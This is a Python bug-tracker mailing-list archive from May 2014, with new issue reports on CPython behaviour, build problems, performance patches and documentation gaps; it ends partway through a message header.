From report at bugs.python.org  Thu May  1 08:44:55 2014
From: report at bugs.python.org (Roman Inflianskas)
Date: Thu, 01 May 2014 06:44:55 +0000
Subject: [New-bugs-announce] [issue21405] Allow using symbols from Unicode
	block "Superscripts and	Subscripts" in identifiers
Message-ID: <1398926695.28.0.870869900387.issue21405@psf.upfronthosting.co.za>


New submission from Roman Inflianskas:

It's really useful that python 3 allows me to use some Unicode symbols (as specified in https://docs.python.org/3.4/reference/lexical_analysis.html#identifiers), especially Greek symbols for mathematical programs. But when I write mathematical program with lots of indices I would like to use symbols from block "Superscripts and Subscripts" (as id_continue), for example: 

????

I don't see any problems with allowing yet another subset of Unicode symbols. In Julia, for example, I can use them without problems.

----------
components: Unicode
messages: 217681
nosy: ezio.melotti, haypo, rominf
priority: normal
severity: normal
status: open
title: Allow using symbols from Unicode block "Superscripts and Subscripts" in identifiers
versions: Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21405>
_______________________________________

From report at bugs.python.org  Thu May  1 14:17:47 2014
From: report at bugs.python.org (Antoine Pitrou)
Date: Thu, 01 May 2014 12:17:47 +0000
Subject: [New-bugs-announce] [issue21406] Some socket constants are not enums
Message-ID: <1398946667.03.0.621371730374.issue21406@psf.upfronthosting.co.za>


New submission from Antoine Pitrou:

Many constants in the socket module, are not int enums. Examples are socket.CAN_BCM, socket.BTPROTO_RFCOMM, etc.

For example when creating a bluetooth socket, you may get the following repr():

>>> socket.socket(socket.AF_BLUETOOTH, socket.SOCK_STREAM, socket.BTPROTO_RFCOMM)
<socket.socket fd=3, family=AddressFamily.AF_BLUETOOTH, type=SocketType.SOCK_STREAM, proto=3, laddr=('00:00:00:00:00:00', 0), raddr=('00:00:00:00:00:00', 0)>

(notice the integer "proto")

----------
messages: 217691
nosy: barry, eli.bendersky, ethan.furman, neologix, pitrou
priority: low
severity: normal
status: open
title: Some socket constants are not enums
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21406>
_______________________________________

From report at bugs.python.org  Thu May  1 15:48:51 2014
From: report at bugs.python.org (Stefan Krah)
Date: Thu, 01 May 2014 13:48:51 +0000
Subject: [New-bugs-announce] [issue21407] Add function signatures to _decimal
Message-ID: <1398952131.31.0.29720873547.issue21407@psf.upfronthosting.co.za>


Changes by Stefan Krah <stefan-usenet at bytereef.org>:


----------
assignee: skrah
components: Extension Modules
nosy: skrah
priority: normal
severity: normal
status: open
title: Add function signatures to _decimal
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21407>
_______________________________________

From report at bugs.python.org  Thu May  1 16:31:27 2014
From: report at bugs.python.org (Jean-Paul Calderone)
Date: Thu, 01 May 2014 14:31:27 +0000
Subject: [New-bugs-announce] [issue21408] delegation of `!=` to the
	right-hand side argument is	not always done
Message-ID: <1398954687.6.0.574462939929.issue21408@psf.upfronthosting.co.za>


New submission from Jean-Paul Calderone:

$ ~/Projects/cpython/3.4/python -c '
class Foo(object):
    def __ne__(self, other):
        return "yup"
    def __eq__(self, other):
        return "nope"

class Bar(object):
    pass
        
print(object() != Foo(), object() == Foo())
print(Bar() != Foo(), Bar() == Foo())
'
yup nope
False nope
$

The output I would expect from this is

    yup nope
    yup nope

That is, even when the type of the left-hand argument is not a base class of the type of the right-hand argument, delegation to the right-hand argument is sensible if the left-hand argument does not implement the comparison.

Note that the output also demonstrates that this is already the behavior for `==`.  Only `!=` seems to suffer from this issue.

----------
components: Interpreter Core
messages: 217699
nosy: exarkun
priority: normal
severity: normal
status: open
title: delegation of `!=` to the right-hand side argument is not always done
type: behavior
versions: Python 3.3, Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21408>
_______________________________________

From report at bugs.python.org  Thu May  1 22:07:11 2014
From: report at bugs.python.org (Jeff Hinrichs)
Date: Thu, 01 May 2014 20:07:11 +0000
Subject: [New-bugs-announce] [issue21409] setup.py check - should fail and
	retrun a non 0 exit code
Message-ID: <1398974831.77.0.0130360706808.issue21409@psf.upfronthosting.co.za>


New submission from Jeff Hinrichs:

python setup.py check 
python setup.py check --restructuredtext

both incorrectly "warn" and don't "Fail" for things that will cause a failure when uploading to pypi.  This is wrong.

Additionally, they should return a non 0 exit code so they can be used as part of an CI such as drone.io / travis so the build will show as failing.  Currently they do not, and if there are errors that will cause a pypi failure (like an unreadable long description) bad things happen.

----------
components: Distutils
messages: 217719
nosy: dstufft, dundeemt, eric.araujo
priority: normal
severity: normal
status: open
title: setup.py check - should fail and retrun a non 0 exit code
type: behavior
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21409>
_______________________________________

From report at bugs.python.org  Thu May  1 22:27:29 2014
From: report at bugs.python.org (Jeff Hinrichs)
Date: Thu, 01 May 2014 20:27:29 +0000
Subject: [New-bugs-announce] [issue21410] setup.py check --restructuredtext
	-- appears to pass if	docutils not installed
Message-ID: <1398976049.52.0.00446636547039.issue21410@psf.upfronthosting.co.za>


New submission from Jeff Hinrichs:

if you run
  setup.py check --restructuredtext
without docutils installed, it will appear to pass

if you add the -s flag, it will error and inform you that docutils is not installed.   

So nothing is reported and return results are the same as a "passing" check.

$ python setup.py check --restructuredtext
running check

$ python setup.py check --restructuredtext -s
running check
error: The docutils package is needed.


The not strict version is a little too loose to be of any good.

----------
components: Distutils
messages: 217721
nosy: dstufft, dundeemt, eric.araujo
priority: normal
severity: normal
status: open
title: setup.py check --restructuredtext  -- appears to pass if docutils not installed
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21410>
_______________________________________

From report at bugs.python.org  Thu May  1 22:30:16 2014
From: report at bugs.python.org (Zachary Ware)
Date: Thu, 01 May 2014 20:30:16 +0000
Subject: [New-bugs-announce] [issue21411] Enable Treat Warning as Error on
	32-bit Windows
Message-ID: <1398976216.25.0.391009605761.issue21411@psf.upfronthosting.co.za>


New submission from Zachary Ware:

Python 3.4 and 3.5 both compile without warnings on 32-bit Windows, so we should turn on Treat Warning as Error (/WX option to cl.exe).  Setting that property in pyproject.props sets it for all projects, and the setting does not affect "Makefile projects" so warnings from OpenSSL, Tcl, Tk, or Tix will not kill the build.  It will need to be explicitly disabled on 64-bit Windows; setting it in x64.props does the trick.

One small issue is that /WX does pick up the "no profile information" warning in the PGUpdate build.  I'm unsure whether we should turn off /WX in pgupdate.props, or just force PGUpdate builders to have run something for each PGI'd project.

----------
components: Build, Windows
messages: 217722
nosy: loewis, tim.golden, zach.ware
priority: low
severity: normal
status: open
title: Enable Treat Warning as Error on 32-bit Windows
type: enhancement
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21411>
_______________________________________

From report at bugs.python.org  Thu May  1 22:37:58 2014
From: report at bugs.python.org (John Beck)
Date: Thu, 01 May 2014 20:37:58 +0000
Subject: [New-bugs-announce] [issue21412] core dump in PyThreadState_Get
	when built --with-pymalloc
Message-ID: <1398976678.74.0.10327376478.issue21412@psf.upfronthosting.co.za>


New submission from John Beck:

I am porting Python 3.4.0 to Solaris 12.  The Makefile I inherited from my predecessor had --without-pymalloc as an option to be passed to configure.  Curious why, I removed this line, only to find that after python was built, it core dumped:

LD_LIBRARY_PATH=/builds/jbeck/ul-python-3/components/python/python34/build/sparcv9 ./python -E -S -m sysconfig --generate-posix-vars
Fatal Python error: PyThreadState_Get: no current thread
make[3]: *** [pybuilddir.txt] Abort (core dumped)

But if I add the --without-pymalloc line back to my Makefile, everything works fine.
 
Note that although this example was on sparc, the exact same thing occurred on x86.

I searched for a similar bug but did not find out; please feel free to close this as a duplicate if there is one that I missed.  I also suspect I have not provided enough information, out of a desire not to trigger information overload.  But I would be happy to provide whatever specifics might be requested.

----------
components: Interpreter Core
messages: 217723
nosy: jbeck
priority: normal
severity: normal
status: open
title: core dump in PyThreadState_Get when built --with-pymalloc
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21412>
_______________________________________

From report at bugs.python.org  Fri May  2 01:03:33 2014
From: report at bugs.python.org (Samwyse)
Date: Thu, 01 May 2014 23:03:33 +0000
Subject: [New-bugs-announce] [issue21413] urllib.request.urlopen dies on
	non-basic/digest auth	schemes
Message-ID: <1398985413.93.0.034829479965.issue21413@psf.upfronthosting.co.za>


New submission from Samwyse:

In Python 2.x, this opens an NTLM protected URL:
    opener = urllib2.build_opener(proxy_handler, auth_NTLM, auth_digest, auth_basic)
    urllib2.install_opener(opener)
    response = urllib2.urlopen(url)

In Python 3.x, this raises an error:
    opener = urllib.request.build_opener(proxy_handler, auth_NTLM, auth_digest, auth_basic)
    urllib.request.install_opener(opener)
    response = urllib.request.urlopen(url)

The error is:
ValueError: AbstractDigestAuthHandler does not support the following scheme: 'NTLM'

Removing auth_digest from the list of handlers allows the code to work.

----------
components: Library (Lib)
messages: 217734
nosy: samwyse
priority: normal
severity: normal
status: open
title: urllib.request.urlopen dies on non-basic/digest auth schemes
versions: Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21413>
_______________________________________

From report at bugs.python.org  Fri May  2 09:39:41 2014
From: report at bugs.python.org (Alexander Boyd)
Date: Fri, 02 May 2014 07:39:41 +0000
Subject: [New-bugs-announce] [issue21414] Add an intersperse function to
	itertools
Message-ID: <1399016381.86.0.358283967216.issue21414@psf.upfronthosting.co.za>


New submission from Alexander Boyd:

Itertools would benefit greatly from a function (which I've named intersperse, after Haskell's equivalent) for yielding the items of an iterator with a given value placed between each. Sort of a str.join-like function, but for arbitrary sequences.

Something like:

>>> list(itertools.intersperse(1, [2, 3, 4]))
[2, 1, 3, 1, 4]

----------
messages: 217746
nosy: javawizard
priority: normal
severity: normal
status: open
title: Add an intersperse function to itertools
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21414>
_______________________________________

From report at bugs.python.org  Fri May  2 12:29:56 2014
From: report at bugs.python.org (=?utf-8?q?Jurko_Gospodneti=C4=87?=)
Date: Fri, 02 May 2014 10:29:56 +0000
Subject: [New-bugs-announce] [issue21415] Python __new__ method doc typo
	(it's a class and not a	static method)
Message-ID: <1399026596.96.0.389694886975.issue21415@psf.upfronthosting.co.za>


New submission from Jurko Gospodneti?:

Doc/reference/datamodel.rst documentation states that
the __new__ method is a static method (in Python, not
in C!) when it is in fact a class method.

A patch has been prepared in the
https://bitbucket.org/jurko/cpython repository.
branch: datamodel_doc_typo_fix
commit: 81c5ba188805e42292c3eb9cffa56fbd5b7c6aee

But it'll probably be easier for you to just change
that single word directly. :-D

Hope this helps.

Best regards,
  Jurko Gospodneti?

----------
assignee: docs at python
components: Documentation
hgrepos: 245
messages: 217748
nosy: Jurko.Gospodneti?, docs at python
priority: normal
severity: normal
status: open
title: Python __new__ method doc typo (it's a class and not a static method)
type: enhancement
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21415>
_______________________________________

From report at bugs.python.org  Fri May  2 19:10:39 2014
From: report at bugs.python.org (Derek Wilson)
Date: Fri, 02 May 2014 17:10:39 +0000
Subject: [New-bugs-announce] [issue21416] argparse should accept bytes
	arguments as originally	passed
Message-ID: <1399050639.0.0.425035380654.issue21416@psf.upfronthosting.co.za>


New submission from Derek Wilson:

If I create an argument parser like:

parser = argparse.ArgumentParser()
parser.add_argument('somebytes', type=bytes, help='i want some bytes')
parser.parse_args()

the parse_args() call will raise an exception printing usage info indicating that an "invalid bytes value" was passed if any of the bytes on the command line are >127.

if i'm specifying that i want bytes then i should expect that the argument should be interpreted as bytes and not text.

I get that #8776 was closed because it makes sense not to clutter up internals, but in this instance i am building a command line parser and telling it exactly what i expect. if the solution from #8776 of os.fsencode(sys.argv) will definitely always work then argparse should do this internally if i tell it i expect bytes on the command line.

----------
components: Library (Lib)
messages: 217761
nosy: underrun
priority: normal
severity: normal
status: open
title: argparse should accept bytes arguments as originally passed
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21416>
_______________________________________

From report at bugs.python.org  Fri May  2 20:00:16 2014
From: report at bugs.python.org (Sworddragon)
Date: Fri, 02 May 2014 18:00:16 +0000
Subject: [New-bugs-announce] [issue21417] Compression level for zipfile
Message-ID: <1399053616.42.0.124840881006.issue21417@psf.upfronthosting.co.za>


New submission from Sworddragon:

This is a fork from this ticket: http://bugs.python.org/issue21404

tarfile has a compression level and seems to get now the missing documentation for it. But there is still a compression level missing for zipfile.

----------
components: Library (Lib)
messages: 217770
nosy: Sworddragon
priority: normal
severity: normal
status: open
title: Compression level for zipfile
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21417>
_______________________________________

From report at bugs.python.org  Fri May  2 21:22:40 2014
From: report at bugs.python.org (Robert Snoeberger)
Date: Fri, 02 May 2014 19:22:40 +0000
Subject: [New-bugs-announce] [issue21418] Segv during call to super_init in
	application embedding	Python interpreter.
Message-ID: <1399058560.74.0.137672140336.issue21418@psf.upfronthosting.co.za>


New submission from Robert Snoeberger:

While embedding the Python interpreter in an application, I have encountered a crash when the built-in function 'super' is invoked with no arguments. The crash occurs during a call to PyObject_Call.

A file is attached, super_invoke.c, that reproduces the crash. The reproduction steps on my machine are the following:

% gcc -o super_invoke super_invoke.c -I/path_to_py/include/python3.5m -L/path_to_py/lib -lpthread -ldl -lutil -lm -lpython3.5m -Xlinker -export-dynamic 
% ./super_invoke 
Call super with no arguments...
Segmentation fault
% 

The crash appears to occur in the function super_init contained in the file Objects/typeobject.c. The code path enters the if statement that checks for no input arguments. The following two lines cause the crash.

PyFrameObject *f = PyThreadState_GET()->frame;
PyCodeObject *co = f->f_code;

The PyFrameObject pointer 'f' is NULL.

----------
files: super_invoke.c
messages: 217777
nosy: snoeberger
priority: normal
severity: normal
status: open
title: Segv during call to super_init in application embedding Python interpreter.
type: crash
versions: Python 3.5
Added file: http://bugs.python.org/file35131/super_invoke.c

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21418>
_______________________________________

From report at bugs.python.org  Fri May  2 22:51:47 2014
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 May 2014 20:51:47 +0000
Subject: [New-bugs-announce] [issue21419] Use calloc() instead of malloc()
	for int << int (lshift)
Message-ID: <1399063907.65.0.694619539973.issue21419@psf.upfronthosting.co.za>


New submission from STINNER Victor:

Attached patch modifies long_lshift() to allocate the result using calloc() instead of malloc(). The goal is to avoid allocating physical memory for the least significat digits (zeros). According to my tests in issue #21233 (calloc), Linux and Windows have an optimized calloc() functions and at least Linux avoids allocating memory for pages initialized by zeros until pages at modified.

----------
files: long_lshift.patch
keywords: patch
messages: 217787
nosy: haypo, pitrou
priority: normal
severity: normal
status: open
title: Use calloc() instead of malloc() for int << int (lshift)
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35135/long_lshift.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21419>
_______________________________________

From report at bugs.python.org  Fri May  2 23:54:22 2014
From: report at bugs.python.org (STINNER Victor)
Date: Fri, 02 May 2014 21:54:22 +0000
Subject: [New-bugs-announce] [issue21420] Optimize 2 ** n: implement it as 1
	<< n
Message-ID: <1399067662.75.0.0621982207381.issue21420@psf.upfronthosting.co.za>


New submission from STINNER Victor:

The algorithm for 2 ** n (long_pow) is slower than 1 << n algorithm (long_lshift). I propose to compute x**y as 1<<y if x==2 and y >= 0.

Attached patch implements this idea. According to my microbenchmark, it is 4x faster to small power (2**0 .. 2**1024) and up to 340x faster for large power (2**(2**28)).

----------
files: pow2.patch
keywords: patch
messages: 217800
nosy: haypo
priority: normal
severity: normal
status: open
title: Optimize 2 ** n: implement it as 1 << n
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35138/pow2.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21420>
_______________________________________

From report at bugs.python.org  Sat May  3 02:02:41 2014
From: report at bugs.python.org (Josh Rosenberg)
Date: Sat, 03 May 2014 00:02:41 +0000
Subject: [New-bugs-announce] [issue21421] ABCs for MappingViews should
	declare __slots__ so	subclasses aren't forced to have
	__dict__/__weakref__
Message-ID: <1399075361.96.0.75684702655.issue21421@psf.upfronthosting.co.za>


New submission from Josh Rosenberg:

Unlike the other collections ABCs, MappingView and its subclasses (Keys|Items|Values)View don't define __slots__, so users inheriting them to take advantage of the mix-in methods get a __dict__ and __weakref__, even if they try to avoid it by declaring their own __slots__. This is sub-optimal (I don't think any library class should leave __slots__ undefined, but it's particularly bad when they're intended to be used a base classes).

I've attached a patch that defines __slots__ for all of them; MappingView explicitly declares its _mapping slot, and the rest declare no slots at all.

Only negative I can think of is that if the user provides their own __init__, doesn't call the super().__init__, and uses a different name than _mapping for whatever data structure they actually use, then there will be a pointer reserved for _mapping that never gets set. That said, if they don't define _mapping, none of the mix-in methods work anyway, so they may as well not inherit directly, and instead just use *View.register to become a virtual subclass.

----------
files: slots_for_mappingview_abcs.patch
keywords: patch
messages: 217809
nosy: josh.rosenberg
priority: normal
severity: normal
status: open
title: ABCs for MappingViews should declare __slots__ so subclasses aren't forced to have __dict__/__weakref__
Added file: http://bugs.python.org/file35141/slots_for_mappingview_abcs.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21421>
_______________________________________

From report at bugs.python.org  Sat May  3 14:34:17 2014
From: report at bugs.python.org (STINNER Victor)
Date: Sat, 03 May 2014 12:34:17 +0000
Subject: [New-bugs-announce] [issue21422] int << 0: return the number
	unmodified
Message-ID: <1399120457.78.0.274409942195.issue21422@psf.upfronthosting.co.za>


New submission from STINNER Victor:

I propose to add a micro-optimization for int << 0: return the number unmodified.

See attached patch.

----------
files: long_lshift0.patch
keywords: patch
messages: 217822
nosy: haypo, mark.dickinson, serhiy.storchaka
priority: normal
severity: normal
status: open
title: int << 0: return the number unmodified
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35144/long_lshift0.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21422>
_______________________________________

From report at bugs.python.org  Sun May  4 01:38:08 2014
From: report at bugs.python.org (Andreas van Cranenburgh)
Date: Sat, 03 May 2014 23:38:08 +0000
Subject: [New-bugs-announce] [issue21423]
	concurrent.futures.ThreadPoolExecutor should accept
	an	initializer argument
Message-ID: <1399160288.58.0.274862722075.issue21423@psf.upfronthosting.co.za>


New submission from Andreas van Cranenburgh:

It would be useful if concurrent.futures.ThreadPoolExecutor took an initializer argument, like multiprocessing.Pool.

This is useful for example to load a large dataset once upon initialization of each worker process, without have to pass the dataset as an argument with every job submission, which requires serialization.

concurrent.futures has some advantages over multiprocessing such as detecting killed processes ( http://bugs.python.org/issue9205 ), so it would be good if the advantages of both can be combined.

It appears that the following fork of concurrent.futures has added these arguments: https://github.com/enthought/encore/blob/7101984bc384da8e7975876ca2809cc0103c3efc/encore/concurrent/futures/enhanced_thread_pool_executor.py

----------
components: Library (Lib)
messages: 217846
nosy: andreasvc
priority: normal
severity: normal
status: open
title: concurrent.futures.ThreadPoolExecutor should accept an initializer argument
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21423>
_______________________________________

From report at bugs.python.org  Sun May  4 07:57:09 2014
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 04 May 2014 05:57:09 +0000
Subject: [New-bugs-announce] [issue21424] Simplify and speed-up
	heaqp.nlargest()
Message-ID: <1399183029.85.0.254812547035.issue21424@psf.upfronthosting.co.za>


New submission from Raymond Hettinger:

Consolidate the logic for nlargest() into a single function.  Remove both the C and pure Python base underlying code. 

With all the logic in a single function, it only becomes necessary to create, store, and compare the data tuples when a need item is added to the heap.  This means that the rest of the comparisons (checking to see whether a new item needs to be added to the heap) can run faster and not need to create a (key, order, elem) tuple.

The change reduces the number of tuples created and the number of ordering integers created.

When rich comparisons were introduced, tuple ordering comparisons became twice as expensive (they are compared elementwise for equality and then there is an additional comparison call to order the first differing element).  Under the existing nlargest() code, we pay that price for every lement in the iterable.  In the new code, we pay that price only for the small subset of the iterable that actually gets added to the heap.

After this, another patch for simplifying nsmallest() is forthcoming.

----------
components: Library (Lib)
files: rid_nlargest.py
messages: 217859
nosy: rhettinger
priority: low
severity: normal
status: open
title: Simplify and speed-up heaqp.nlargest()
type: performance
versions: Python 3.5
Added file: http://bugs.python.org/file35148/rid_nlargest.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21424>
_______________________________________

From report at bugs.python.org  Sun May  4 10:28:40 2014
From: report at bugs.python.org (=?utf-8?q?M=C3=A1rton_Marczell?=)
Date: Sun, 04 May 2014 08:28:40 +0000
Subject: [New-bugs-announce] [issue21425] Python 3 pipe handling breaks
	python mode in emacs on	Windows
Message-ID: <1399192120.08.0.445730611813.issue21425@psf.upfronthosting.co.za>


New submission from M?rton Marczell:

When I run a Python 3.3.4 prompt inside Emacs 24.3 on Windows 7, correct commands are evaluated immediately, but incorrect ones are delayed (I have to press Enter one more time), as seen below:

    >>> 1
    1
    >>> nonsense
    >>>
    Traceback (most recent call last):
    File "<stdin>", line 1, in <module>
    NameError: name 'nonsense' is not defined

Python 2 does not do this. I've filed an Emacs bug report (http://debbugs.gnu.org/cgi/bugreport.cgi?bug=17304) and got the response to try this on the command line (where cat.exe is from an MSYS installation):

    python 2>&1 | cat.exe

and it behaves the same way as in Emacs.

----------
components: Windows
messages: 217861
nosy: marczellm
priority: normal
severity: normal
status: open
title: Python 3 pipe handling breaks python mode in emacs on Windows
type: behavior
versions: Python 3.3

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21425>
_______________________________________

From report at bugs.python.org  Sun May  4 15:34:10 2014
From: report at bugs.python.org (Milan Oberkirch)
Date: Sun, 04 May 2014 13:34:10 +0000
Subject: [New-bugs-announce] [issue21426] Invisible characters in email
	related souce files.
Message-ID: <1399210450.89.0.0298298862351.issue21426@psf.upfronthosting.co.za>


New submission from Milan Oberkirch:

I found non-printable characters in the source files of the email package. Vim rendered it as '^L', pasting it on the linux console has the same effect as CTRL+L. In most places it was combined with regular newlines, sometimes as a replacement, sometimes additionally to them.
My guess is that these files were saved with an editor replacing '\n' with '\r' and additional '\n' were inserted afterwards since the linebreaks seemed to be gone.

I replaced these chars by '\n' or '' in the attached patch.

----------
components: email
files: linebreak.patch
keywords: patch
messages: 217874
nosy: barry, r.david.murray, zvyn
priority: normal
severity: normal
status: open
title: Invisible characters in email related souce files.
versions: Python 3.5
Added file: http://bugs.python.org/file35149/linebreak.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21426>
_______________________________________

From report at bugs.python.org  Sun May  4 17:38:45 2014
From: report at bugs.python.org (Uwe)
Date: Sun, 04 May 2014 15:38:45 +0000
Subject: [New-bugs-announce] [issue21427] installer not working
Message-ID: <1399217925.98.0.594848268677.issue21427@psf.upfronthosting.co.za>


New submission from Uwe:

Installer fails to install 3.4 on win7 32 bit
Error: cannot register 64 bit component {BE22BD81-ECE5-45BD-83B8-84BA45846A2D} on 32 bit system. KeyPath: C:\Windows\py.exe

----------
messages: 217878
nosy: ellipso
priority: normal
severity: normal
status: open
title: installer not working
type: crash
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21427>
_______________________________________

From report at bugs.python.org  Sun May  4 18:20:00 2014
From: report at bugs.python.org (Chappuis)
Date: Sun, 04 May 2014 16:20:00 +0000
Subject: [New-bugs-announce] [issue21428] Python suddenly cares about EOLs
	formats on windows
Message-ID: <1399220400.65.0.0106414482581.issue21428@psf.upfronthosting.co.za>


New submission from Chappuis:

When trying to execute the Software build program waf (http://ftp.waf.io/pub/release/waf-1.7.16) with the command python waf-1.7.16 --version, this unzip a folder in the current directory while reporting the version of the program on the standard input. Waf is distributed as a single file with unix end-of-lines. Executing the program with python 2.7 to 3.3 does not cause any problem, but executing with python-3.4.0 make the execution stop.

I patched waf to solve the problem which is purely related to unix/dos end-of-lines. The behaviour of python-3.4.0 seems to have change regarding these EOL characters compared to the previous releases. Is that intentional?

Kind regards

Thierry

----------
components: Windows
messages: 217879
nosy: pygnol
priority: normal
severity: normal
status: open
title: Python suddenly cares about EOLs formats on windows
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21428>
_______________________________________

From report at bugs.python.org  Sun May  4 18:24:51 2014
From: report at bugs.python.org (Mikaela Suomalainen)
Date: Sun, 04 May 2014 16:24:51 +0000
Subject: [New-bugs-announce] [issue21429] Input.output error with
	multiprocessing
Message-ID: <1399220691.1.0.523621963732.issue21429@psf.upfronthosting.co.za>


New submission from Mikaela Suomalainen:

I encountered this error with Limnoria and I was told to report it here.

```
ERROR 2014-05-04T18:04:04 supybot Uncaught exception in ['title'].
Traceback (most recent call last):
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/callbacks.py", line 1266, in _callCommand
self.callCommand(command, irc, msg, *args, **kwargs)
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/utils/python.py", line 91, in g
f(self, *args, **kwargs)
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/callbacks.py", line 1247, in callCommand
method(irc, msg, *args, **kwargs)
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/commands.py", line 1076, in newf
f(self, irc, msg, args, *state.args, **state.kwargs)
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/plugins/Web/plugin.py", line 109, in newf
f(self, irc, *args, **kwargs)
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/plugins/Web/plugin.py", line 96, in newf
pn=self.name(), cn=f.__name__)
File "/home/users/mkaysi/.local/lib/python3.4/site-packages/supybot/commands.py", line 120, in process
p.start()
File "/home/users/mkaysi/.pyenv/versions/3.4.0/lib/python3.4/multiprocessing/process.py", line 105, in start
self._popen = self._Popen(self)
File "/home/users/mkaysi/.pyenv/versions/3.4.0/lib/python3.4/multiprocessing/context.py", line 212, in _Popen
return _default_context.get_context().Process._Popen(process_obj)
File "/home/users/mkaysi/.pyenv/versions/3.4.0/lib/python3.4/multiprocessing/context.py", line 267, in _Popen
return Popen(process_obj)
File "/home/users/mkaysi/.pyenv/versions/3.4.0/lib/python3.4/multiprocessing/popen_fork.py", line 18, in __init__
sys.stdout.flush()
OSError: [Errno 5] Input/output error
ERROR 2014-05-04T18:04:04 supybot Exception id: 0xaaefe
```

----------
components: Library (Lib)
messages: 217880
nosy: mikaela
priority: normal
severity: normal
status: open
title: Input.output error with multiprocessing
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21429>
_______________________________________

From report at bugs.python.org  Sun May  4 21:05:46 2014
From: report at bugs.python.org (Bas Wijnen)
Date: Sun, 04 May 2014 19:05:46 +0000
Subject: [New-bugs-announce] [issue21430] Document ssl.pending()
Message-ID: <1399230346.59.0.136279071434.issue21430@psf.upfronthosting.co.za>


New submission from Bas Wijnen:

In order to use ssl sockets asynchronously, it is important to use the pending() method, otherwise the internal buffer will be ignored, and select may block for new data while it's already waiting.  See bug #16976 and http://stackoverflow.com/questions/21663705/how-to-use-select-with-python-ssl-socket-buffering

Using pending() works fine, but is entirely undocumented.  https://docs.python.org/2.7/library/ssl.html (and all other versions) don't even mention the existence of the method.  I hope this can be changed; using an undocumented feature isn't nice, but in this case there is no other good solution.

----------
assignee: docs at python
components: Documentation
messages: 217884
nosy: docs at python, shevek
priority: normal
severity: normal
status: open
title: Document ssl.pending()
versions: Python 2.7, Python 3.1, Python 3.2, Python 3.3, Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21430>
_______________________________________

From report at bugs.python.org  Sun May  4 22:10:51 2014
From: report at bugs.python.org (Ned Deily)
Date: Sun, 04 May 2014 20:10:51 +0000
Subject: [New-bugs-announce] [issue21431] 3.4.1rc1 test_pydoc fails:
	pydoc_data.topics.topics	values are type "bytes" not "str"
Message-ID: <1399234251.1.0.221071278299.issue21431@psf.upfronthosting.co.za>


New submission from Ned Deily:

Something went wrong with the update of pydoc_data topics for 3.4.1rc1. As can be seen in http://hg.python.org/releasing/3.4.1/rev/c67a19e11a71, the values for the topics dict should be strings but were updated as bytes.  This causes pydoc topics searches to fail.  The process problem needs to be fixed for 3.4.1 final.

An example:

$ /usr/local/bin/pydoc3.4 def
Traceback (most recent call last):
  File "/usr/local/bin/pydoc3.4", line 5, in <module>
    pydoc.cli()
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/pydoc.py", line 2580, in cli
    help.help(arg)
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/pydoc.py", line 1860, in help
    elif request in self.keywords: self.showtopic(request)
  File "/Library/Frameworks/Python.framework/Versions/3.4/lib/python3.4/pydoc.py", line 1941, in showtopic
    pager(doc.strip() + '\n')
TypeError: can't concat bytes to str

----------
assignee: larry
components: Build
messages: 217887
nosy: georg.brandl, larry, ned.deily
priority: release blocker
severity: normal
status: open
title: 3.4.1rc1 test_pydoc fails: pydoc_data.topics.topics values are type "bytes" not "str"
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue21431>
_______________________________________

From report at bugs.python.org  Mon May  5 05:48:33 2014
From: report at bugs.python.org (Joshua Knights)
